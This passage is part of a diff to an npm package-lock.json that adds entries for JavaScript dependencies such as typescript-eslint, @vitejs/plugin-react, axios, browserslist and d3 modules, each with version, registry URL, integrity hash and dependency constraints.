"sha512-VXw7qmdkucEx9WkmR3ld/u6VhRyKeiF1uxWwCy/iuNfokjJ7VhsgLSOTjsol8BunSw190zABzpwdNsze2Kpo4g==", + "dev": true, + "license": "MIT", + "dependencies": { + "@eslint-community/eslint-utils": "^4.7.0", + "@typescript-eslint/scope-manager": "8.46.3", + "@typescript-eslint/types": "8.46.3", + "@typescript-eslint/typescript-estree": "8.46.3" + }, + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/typescript-eslint" + }, + "peerDependencies": { + "eslint": "^8.57.0 || ^9.0.0", + "typescript": ">=4.8.4 <6.0.0" + } + }, + "node_modules/@typescript-eslint/visitor-keys": { + "version": "8.46.3", + "resolved": "https://registry.npmjs.org/@typescript-eslint/visitor-keys/-/visitor-keys-8.46.3.tgz", + "integrity": "sha512-uk574k8IU0rOF/AjniX8qbLSGURJVUCeM5e4MIMKBFFi8weeiLrG1fyQejyLXQpRZbU/1BuQasleV/RfHC3hHg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@typescript-eslint/types": "8.46.3", + "eslint-visitor-keys": "^4.2.1" + }, + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/typescript-eslint" + } + }, + "node_modules/@ungap/structured-clone": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/@ungap/structured-clone/-/structured-clone-1.3.0.tgz", + "integrity": "sha512-WmoN8qaIAo7WTYWbAZuG8PYEhn5fkz7dZrqTBZ7dtt//lL2Gwms1IcnQ5yHqjDfX8Ft5j4YzDM23f87zBfDe9g==" + }, + "node_modules/@vitejs/plugin-react": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/@vitejs/plugin-react/-/plugin-react-5.1.0.tgz", + "integrity": "sha512-4LuWrg7EKWgQaMJfnN+wcmbAW+VSsCmqGohftWjuct47bv8uE4n/nPpq4XjJPsxgq00GGG5J8dvBczp8uxScew==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/core": "^7.28.4", + "@babel/plugin-transform-react-jsx-self": "^7.27.1", + "@babel/plugin-transform-react-jsx-source": "^7.27.1", + "@rolldown/pluginutils": "1.0.0-beta.43", + "@types/babel__core": "^7.20.5", + "react-refresh": "^0.18.0" + }, + "engines": { + "node": "^20.19.0 || >=22.12.0" + }, + "peerDependencies": { + "vite": "^4.2.0 || ^5.0.0 || ^6.0.0 || ^7.0.0" + } + }, + "node_modules/acorn": { + "version": "8.15.0", + "resolved": "https://registry.npmjs.org/acorn/-/acorn-8.15.0.tgz", + "integrity": "sha512-NZyJarBfL7nWwIq+FDL6Zp/yHEhePMNnnJ0y3qfieCrmNvYct8uvtiV41UvlSe6apAfk0fY1FbWx+NwfmpvtTg==", + "dev": true, + "license": "MIT", + "bin": { + "acorn": "bin/acorn" + }, + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/acorn-jsx": { + "version": "5.3.2", + "resolved": "https://registry.npmjs.org/acorn-jsx/-/acorn-jsx-5.3.2.tgz", + "integrity": "sha512-rq9s+JNhf0IChjtDXxllJ7g41oZk5SlXtp0LHwyA5cejwn7vKmKp4pPri6YEePv2PU65sAsegbXtIinmDFDXgQ==", + "dev": true, + "license": "MIT", + "peerDependencies": { + "acorn": "^6.0.0 || ^7.0.0 || ^8.0.0" + } + }, + "node_modules/ajv": { + "version": "6.12.6", + "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.12.6.tgz", + "integrity": "sha512-j3fVLgvTo527anyYyJOGTYJbG+vnnQYvE0m5mmkc1TK+nxAppkCLMIL0aZ4dblVCNoGShhm+kzE4ZUykBoMg4g==", + "dev": true, + "license": "MIT", + "dependencies": { + "fast-deep-equal": "^3.1.1", + "fast-json-stable-stringify": "^2.0.0", + "json-schema-traverse": "^0.4.1", + "uri-js": "^4.2.2" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/epoberezkin" + } + }, + "node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dev": true, + "license": "MIT", + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/argparse": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/argparse/-/argparse-2.0.1.tgz", + "integrity": "sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q==", + "dev": true, + "license": "Python-2.0" + }, + "node_modules/aria-hidden": { + "version": "1.2.6", + "resolved": "https://registry.npmjs.org/aria-hidden/-/aria-hidden-1.2.6.tgz", + "integrity": "sha512-ik3ZgC9dY/lYVVM++OISsaYDeg1tb0VtP5uL3ouh1koGOaUMDPpbFIei4JkFimWUFPn90sbMNMXQAIVOlnYKJA==", + "dependencies": { + "tslib": "^2.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/aria-query": { + "version": "5.3.2", + "resolved": "https://registry.npmjs.org/aria-query/-/aria-query-5.3.2.tgz", + "integrity": "sha512-COROpnaoap1E2F000S62r6A60uHZnmlvomhfyT2DlTcrY1OrBKn2UhH7qn5wTC9zMvD0AY7csdPSNwKP+7WiQw==", + "dev": true, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/array-buffer-byte-length": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/array-buffer-byte-length/-/array-buffer-byte-length-1.0.2.tgz", + "integrity": "sha512-LHE+8BuR7RYGDKvnrmcuSq3tDcKv9OFEXQt/HpbZhY7V6h0zlUXutnAD82GiFx9rdieCMjkvtcsPqBwgUl1Iiw==", + "dev": true, + "dependencies": { + "call-bound": "^1.0.3", + "is-array-buffer": "^3.0.5" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/array-includes": { + "version": "3.1.9", + "resolved": "https://registry.npmjs.org/array-includes/-/array-includes-3.1.9.tgz", + "integrity": "sha512-FmeCCAenzH0KH381SPT5FZmiA/TmpndpcaShhfgEN9eCVjnFBqq3l1xrI42y8+PPLI6hypzou4GXw00WHmPBLQ==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.8", + "call-bound": "^1.0.4", + "define-properties": "^1.2.1", + "es-abstract": "^1.24.0", + "es-object-atoms": "^1.1.1", + "get-intrinsic": "^1.3.0", + "is-string": "^1.1.1", + "math-intrinsics": "^1.1.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/array.prototype.findlast": { + "version": "1.2.5", + "resolved": "https://registry.npmjs.org/array.prototype.findlast/-/array.prototype.findlast-1.2.5.tgz", + "integrity": "sha512-CVvd6FHg1Z3POpBLxO6E6zr+rSKEQ9L6rZHAaY7lLfhKsWYUBBOuMs0e9o24oopj6H+geRCX0YJ+TJLBK2eHyQ==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.7", + "define-properties": "^1.2.1", + "es-abstract": "^1.23.2", + "es-errors": "^1.3.0", + "es-object-atoms": "^1.0.0", + "es-shim-unscopables": "^1.0.2" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/array.prototype.flat": { + "version": "1.3.3", + "resolved": "https://registry.npmjs.org/array.prototype.flat/-/array.prototype.flat-1.3.3.tgz", + "integrity": "sha512-rwG/ja1neyLqCuGZ5YYrznA62D4mZXg0i1cIskIUKSiqF3Cje9/wXAls9B9s1Wa2fomMsIv8czB8jZcPmxCXFg==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.8", + "define-properties": "^1.2.1", + "es-abstract": "^1.23.5", + "es-shim-unscopables": "^1.0.2" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/array.prototype.flatmap": { + "version": "1.3.3", + "resolved": "https://registry.npmjs.org/array.prototype.flatmap/-/array.prototype.flatmap-1.3.3.tgz", + "integrity": "sha512-Y7Wt51eKJSyi80hFrJCePGGNo5ktJCslFuboqJsbf57CCPcm5zztluPlc4/aD8sWsKvlwatezpV4U1efk8kpjg==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.8", + "define-properties": "^1.2.1", + "es-abstract": "^1.23.5", + "es-shim-unscopables": "^1.0.2" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/array.prototype.tosorted": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/array.prototype.tosorted/-/array.prototype.tosorted-1.1.4.tgz", + "integrity": "sha512-p6Fx8B7b7ZhL/gmUsAy0D15WhvDccw3mnGNbZpi3pmeJdxtWsj2jEaI4Y6oo3XiHfzuSgPwKc04MYt6KgvC/wA==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.7", + "define-properties": "^1.2.1", + "es-abstract": "^1.23.3", + "es-errors": "^1.3.0", + "es-shim-unscopables": "^1.0.2" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/arraybuffer.prototype.slice": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/arraybuffer.prototype.slice/-/arraybuffer.prototype.slice-1.0.4.tgz", + "integrity": "sha512-BNoCY6SXXPQ7gF2opIP4GBE+Xw7U+pHMYKuzjgCN3GwiaIR09UUeKfheyIry77QtrCBlC0KK0q5/TER/tYh3PQ==", + "dev": true, + "dependencies": { + "array-buffer-byte-length": "^1.0.1", + "call-bind": "^1.0.8", + "define-properties": "^1.2.1", + "es-abstract": "^1.23.5", + "es-errors": "^1.3.0", + "get-intrinsic": "^1.2.6", + "is-array-buffer": "^3.0.4" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/ast-types-flow": { + "version": "0.0.8", + "resolved": "https://registry.npmjs.org/ast-types-flow/-/ast-types-flow-0.0.8.tgz", + "integrity": "sha512-OH/2E5Fg20h2aPrbe+QL8JZQFko0YZaF+j4mnQ7BGhfavO7OpSLa8a0y9sBwomHdSbkhTS8TQNayBfnW5DwbvQ==", + "dev": true + }, + "node_modules/async-function": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/async-function/-/async-function-1.0.0.tgz", + "integrity": "sha512-hsU18Ae8CDTR6Kgu9DYf0EbCr/a5iGL0rytQDobUcdpYOKokk8LEjVphnXkDkgpi0wYVsqrXuP0bZxJaTqdgoA==", + "dev": true, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/asynckit": { + "version": "0.4.0", + "resolved": "https://registry.npmjs.org/asynckit/-/asynckit-0.4.0.tgz", + "integrity": "sha512-Oei9OH4tRh0YqU3GxhX79dM/mwVgvbZJaSNaRk+bshkj0S5cfHcgYakreBjrHwatXKbz+IoIdYLxrKim2MjW0Q==" + }, + "node_modules/available-typed-arrays": { + "version": "1.0.7", + "resolved": "https://registry.npmjs.org/available-typed-arrays/-/available-typed-arrays-1.0.7.tgz", + "integrity": "sha512-wvUjBtSGN7+7SjNpq/9M2Tg350UZD3q62IFZLbRAR1bSMlCo1ZaeW+BJ+D090e4hIIZLBcTDWe4Mh4jvUDajzQ==", + "dev": true, + "dependencies": { + "possible-typed-array-names": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/axe-core": { + "version": "4.11.0", + "resolved": "https://registry.npmjs.org/axe-core/-/axe-core-4.11.0.tgz", + "integrity": "sha512-ilYanEU8vxxBexpJd8cWM4ElSQq4QctCLKih0TSfjIfCQTeyH/6zVrmIJfLPrKTKJRbiG+cfnZbQIjAlJmF1jQ==", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/axios": { + "version": "1.13.2", + "resolved": "https://registry.npmjs.org/axios/-/axios-1.13.2.tgz", + "integrity": "sha512-VPk9ebNqPcy5lRGuSlKx752IlDatOjT9paPlm8A7yOuW2Fbvp4X3JznJtT4f0GzGLLiWE9W8onz51SqLYwzGaA==", + "dependencies": { + "follow-redirects": "^1.15.6", + "form-data": "^4.0.4", + "proxy-from-env": "^1.1.0" + } + }, + "node_modules/axobject-query": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/axobject-query/-/axobject-query-4.1.0.tgz", + "integrity": "sha512-qIj0G9wZbMGNLjLmg1PT6v2mE9AH2zlnADJD/2tC6E00hgmhUOfEB6greHPAfLRSufHqROIUTkw6E+M3lH0PTQ==", + "dev": true, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/bail": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/bail/-/bail-2.0.2.tgz", + "integrity": "sha512-0xO6mYd7JB2YesxDKplafRpsiOzPt9V02ddPCLbY1xYGPOX24NTyN50qnUxgCPcSoYMhKpAuBTjQoRZCAkUDRw==", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/balanced-match": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz", + "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==", + "dev": true, + "license": "MIT" + }, + "node_modules/baseline-browser-mapping": { + "version": "2.8.25", + "resolved": "https://registry.npmjs.org/baseline-browser-mapping/-/baseline-browser-mapping-2.8.25.tgz", + "integrity": "sha512-2NovHVesVF5TXefsGX1yzx1xgr7+m9JQenvz6FQY3qd+YXkKkYiv+vTCc7OriP9mcDZpTC5mAOYN4ocd29+erA==", + "dev": true, + "license": "Apache-2.0", + "bin": { + "baseline-browser-mapping": "dist/cli.js" + } + }, + "node_modules/brace-expansion": { + "version": "1.1.12", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.12.tgz", + "integrity": "sha512-9T9UjW3r0UW5c1Q7GTwllptXwhvYmEzFhzMfZ9H7FQWt+uZePjZPjBP/W1ZEyZ1twGWom5/56TF4lPcqjnDHcg==", + "dev": true, + "license": "MIT", + "dependencies": { + "balanced-match": "^1.0.0", + "concat-map": "0.0.1" + } + }, + "node_modules/braces": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.3.tgz", + "integrity": "sha512-yQbXgO/OSZVD2IsiLlro+7Hf6Q18EJrKSEsdoMzKePKXct3gvD8oLcOQdIzGupr5Fj+EDe8gO/lxc1BzfMpxvA==", + "dev": true, + "license": "MIT", + "dependencies": { + "fill-range": "^7.1.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/browserslist": { + "version": "4.27.0", + "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.27.0.tgz", + "integrity": "sha512-AXVQwdhot1eqLihwasPElhX2tAZiBjWdJ9i/Zcj2S6QYIjkx62OKSfnobkriB81C3l4w0rVy3Nt4jaTBltYEpw==", + "dev": true, + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/browserslist" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/browserslist" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "license": "MIT", + "dependencies": { + "baseline-browser-mapping": "^2.8.19", + "caniuse-lite": "^1.0.30001751", + "electron-to-chromium": "^1.5.238", + "node-releases": "^2.0.26", + "update-browserslist-db": "^1.1.4" + }, + "bin": { + "browserslist": "cli.js" + }, + "engines": { + "node": "^6 || ^7 || ^8 || ^9 || ^10 || ^11 || ^12 || >=13.7" + } + }, + "node_modules/call-bind": { + "version": "1.0.8", + "resolved": "https://registry.npmjs.org/call-bind/-/call-bind-1.0.8.tgz", + "integrity": "sha512-oKlSFMcMwpUg2ednkhQ454wfWiU/ul3CkJe/PEHcTKuiX6RpbehUiFMXu13HalGZxfUwCQzZG747YXBn1im9ww==", + "dev": true, + "dependencies": { + "call-bind-apply-helpers": "^1.0.0", + "es-define-property": "^1.0.0", + "get-intrinsic": "^1.2.4", + "set-function-length": "^1.2.2" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/call-bind-apply-helpers": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/call-bind-apply-helpers/-/call-bind-apply-helpers-1.0.2.tgz", + "integrity": "sha512-Sp1ablJ0ivDkSzjcaJdxEunN5/XvksFJ2sMBFfq6x0ryhQV/2b/KwFe21cMpmHtPOSij8K99/wSfoEuTObmuMQ==", + "dependencies": { + "es-errors": "^1.3.0", + "function-bind": "^1.1.2" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/call-bound": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/call-bound/-/call-bound-1.0.4.tgz", + "integrity": "sha512-+ys997U96po4Kx/ABpBCqhA9EuxJaQWDQg7295H4hBphv3IZg0boBKuwYpt4YXp6MZ5AmZQnU/tyMTlRpaSejg==", + "dev": true, + "dependencies": { + "call-bind-apply-helpers": "^1.0.2", + "get-intrinsic": "^1.3.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/callsites": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/callsites/-/callsites-3.1.0.tgz", + "integrity": "sha512-P8BjAsXvZS+VIDUI11hHCQEv74YT67YUi5JJFNWIqL235sBmjX4+qx9Muvls5ivyNENctx46xQLQ3aTuE7ssaQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/caniuse-lite": { + "version": "1.0.30001754", + "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001754.tgz", + "integrity": "sha512-x6OeBXueoAceOmotzx3PO4Zpt4rzpeIFsSr6AAePTZxSkXiYDUmpypEl7e2+8NCd9bD7bXjqyef8CJYPC1jfxg==", + "dev": true, + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/browserslist" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/caniuse-lite" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "license": "CC-BY-4.0" + }, + "node_modules/ccount": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/ccount/-/ccount-2.0.1.tgz", + "integrity": "sha512-eyrF0jiFpY+3drT6383f1qhkbGsLSifNAjA61IUjZjmLCWjItY6LB9ft9YhoDgwfmclB2zhu51Lc7+95b8NRAg==", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/character-entities": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/character-entities/-/character-entities-2.0.2.tgz", + "integrity": "sha512-shx7oQ0Awen/BRIdkjkvz54PnEEI/EjwXDSIZp86/KKdbafHh1Df/RYGBhn4hbe2+uKC9FnT5UCEdyPz3ai9hQ==", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/character-entities-html4": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/character-entities-html4/-/character-entities-html4-2.1.0.tgz", + "integrity": "sha512-1v7fgQRj6hnSwFpq1Eu0ynr/CDEw0rXo2B61qXrLNdHZmPKgb7fqS1a2JwF0rISo9q77jDI8VMEHoApn8qDoZA==", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/character-entities-legacy": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/character-entities-legacy/-/character-entities-legacy-3.0.0.tgz", + "integrity": "sha512-RpPp0asT/6ufRm//AJVwpViZbGM/MkjQFxJccQRHmISF/22NBtsHqAWmL+/pmkPWoIUJdWyeVleTl1wydHATVQ==", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/character-reference-invalid": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/character-reference-invalid/-/character-reference-invalid-2.0.1.tgz", + "integrity": "sha512-iBZ4F4wRbyORVsu0jPV7gXkOsGYjGHPmAyv+HiHG8gi5PtC9KI2j1+v8/tlibRvjoWX027ypmG/n0HtO5t7unw==", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/clsx": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/clsx/-/clsx-2.1.1.tgz", + "integrity": "sha512-eYm0QWBtUrBWZWG0d386OGAw16Z995PiOVo2B7bjWSbHedGl5e0ZWaq65kOGgUSNesEIDkB9ISbTg/JK9dhCZA==", + "engines": { + "node": ">=6" + } + }, + "node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "dev": true, + "license": "MIT" + }, + "node_modules/combined-stream": { + "version": "1.0.8", + "resolved": "https://registry.npmjs.org/combined-stream/-/combined-stream-1.0.8.tgz", + "integrity": "sha512-FQN4MRfuJeHf7cBbBMJFXhKSDq+2kAArBlmRBvcvFE5BB1HZKXtSFASDhdlz9zOYwxh8lDdnvmMOe/+5cdoEdg==", + "dependencies": { + "delayed-stream": "~1.0.0" + }, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/comma-separated-tokens": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/comma-separated-tokens/-/comma-separated-tokens-2.0.3.tgz", + "integrity": "sha512-Fu4hJdvzeylCfQPp9SGWidpzrMs7tTrlu6Vb8XGaRGck8QSNZJJp538Wrb60Lax4fPwR64ViY468OIUTbRlGZg==", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/concat-map": { + "version": "0.0.1", + "resolved": "https://registry.npmjs.org/concat-map/-/concat-map-0.0.1.tgz", + "integrity": "sha512-/Srv4dswyQNBfohGpz9o6Yb3Gz3SrUDqBH5rTuhGR7ahtlbYKnVxw2bCFMRljaA7EXHaXZ8wsHdodFvbkhKmqg==", + "dev": true, + "license": "MIT" + }, + "node_modules/convert-source-map": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/convert-source-map/-/convert-source-map-2.0.0.tgz", + "integrity": "sha512-Kvp459HrV2FEJ1CAsi1Ku+MY3kasH19TFykTz2xWmMeq6bk2NU3XXvfJ+Q61m0xktWwt+1HSYf3JZsTms3aRJg==", + "dev": true, + "license": "MIT" + }, + "node_modules/cookie": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/cookie/-/cookie-1.0.2.tgz", + "integrity": "sha512-9Kr/j4O16ISv8zBBhJoi4bXOYNTkFLOqSL3UDB0njXxCXNezjeyVrJyGOWtgfs/q2km1gwBcfH8q1yEGoMYunA==", + "engines": { + "node": ">=18" + } + }, + "node_modules/cross-spawn": { + "version": "7.0.6", + "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.6.tgz", + "integrity": "sha512-uV2QOWP2nWzsy2aMp8aRibhi9dlzF5Hgh5SHaB9OiTGEyDTiJJyx0uy51QXdyWbtAHNua4XJzUKca3OzKUd3vA==", + "dev": true, + "license": "MIT", + "dependencies": { + "path-key": "^3.1.0", + "shebang-command": "^2.0.0", + "which": "^2.0.1" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/csstype": { + "version": "3.1.3", + "resolved": "https://registry.npmjs.org/csstype/-/csstype-3.1.3.tgz", + "integrity": "sha512-M1uQkMl8rQK/szD0LNhtqxIPLpimGm8sOBwU7lLnCpSbTyY3yeU1Vc7l4KT5zT4s/yOxHH5O7tIuuLOCnLADRw==", + "license": "MIT" + }, + "node_modules/d3-array": { + "version": "3.2.4", + "resolved": "https://registry.npmjs.org/d3-array/-/d3-array-3.2.4.tgz", + "integrity": "sha512-tdQAmyA18i4J7wprpYq8ClcxZy3SC31QMeByyCFyRt7BVHdREQZ5lpzoe5mFEYZUWe+oq8HBvk9JjpibyEV4Jg==", + "dependencies": { + "internmap": "1 - 2" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-color": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/d3-color/-/d3-color-3.1.0.tgz", + "integrity": "sha512-zg/chbXyeBtMQ1LbD/WSoW2DpC3I0mpmPdW+ynRTj/x2DAWYrIY7qeZIHidozwV24m4iavr15lNwIwLxRmOxhA==", + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-ease": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/d3-ease/-/d3-ease-3.0.1.tgz", + "integrity": "sha512-wR/XK3D3XcLIZwpbvQwQ5fK+8Ykds1ip7A2Txe0yxncXSdq1L9skcG7blcedkOX+ZcgxGAmLX1FrRGbADwzi0w==", + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-format": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/d3-format/-/d3-format-3.1.0.tgz", + "integrity": "sha512-YyUI6AEuY/Wpt8KWLgZHsIU86atmikuoOmCfommt0LYHiQSPjvX2AcFc38PX0CBpr2RCyZhjex+NS/LPOv6YqA==", + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-interpolate": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/d3-interpolate/-/d3-interpolate-3.0.1.tgz", + "integrity": "sha512-3bYs1rOD33uo8aqJfKP3JWPAibgw8Zm2+L9vBKEHJ2Rg+viTR7o5Mmv5mZcieN+FRYaAOWX5SJATX6k1PWz72g==", + "dependencies": { + "d3-color": "1 - 3" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-path": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/d3-path/-/d3-path-3.1.0.tgz", + "integrity": "sha512-p3KP5HCf/bvjBSSKuXid6Zqijx7wIfNW+J/maPs+iwR35at5JCbLUT0LzF1cnjbCHWhqzQTIN2Jpe8pRebIEFQ==", + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-scale": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/d3-scale/-/d3-scale-4.0.2.tgz", + "integrity": "sha512-GZW464g1SH7ag3Y7hXjf8RoUuAFIqklOAq3MRl4OaWabTFJY9PN/E1YklhXLh+OQ3fM9yS2nOkCoS+WLZ6kvxQ==", + "dependencies": { + "d3-array": "2.10.0 - 3", + "d3-format": "1 - 3", + "d3-interpolate": "1.2.0 - 3", + "d3-time": "2.1.1 - 3", + "d3-time-format": "2 - 4" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-shape": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/d3-shape/-/d3-shape-3.2.0.tgz", + "integrity": "sha512-SaLBuwGm3MOViRq2ABk3eLoxwZELpH6zhl3FbAoJ7Vm1gofKx6El1Ib5z23NUEhF9AsGl7y+dzLe5Cw2AArGTA==", + "dependencies": { + "d3-path": "^3.1.0" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-time": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/d3-time/-/d3-time-3.1.0.tgz", + "integrity": "sha512-VqKjzBLejbSMT4IgbmVgDjpkYrNWUYJnbCGo874u7MMKIWsILRX+OpX/gTk8MqjpT1A/c6HY2dCA77ZN0lkQ2Q==", + "dependencies": { + "d3-array": "2 - 3" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-time-format": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/d3-time-format/-/d3-time-format-4.1.0.tgz", + "integrity": "sha512-dJxPBlzC7NugB2PDLwo9Q8JiTR3M3e4/XANkreKSUxF8vvXKqm1Yfq4Q5dl8budlunRVlUUaDUgFt7eA8D6NLg==", + "dependencies": { + "d3-time": "1 - 3" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-timer": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/d3-timer/-/d3-timer-3.0.1.tgz", + "integrity": "sha512-ndfJ/JxxMd3nw31uyKoY2naivF+r29V+Lc0svZxe1JvvIRmi8hUsrMvdOwgS1o6uBHmiz91geQ0ylPP0aj1VUA==", + "engines": { + "node": ">=12" + } + }, + "node_modules/damerau-levenshtein": { + "version": "1.0.8", + "resolved": "https://registry.npmjs.org/damerau-levenshtein/-/damerau-levenshtein-1.0.8.tgz", + "integrity": 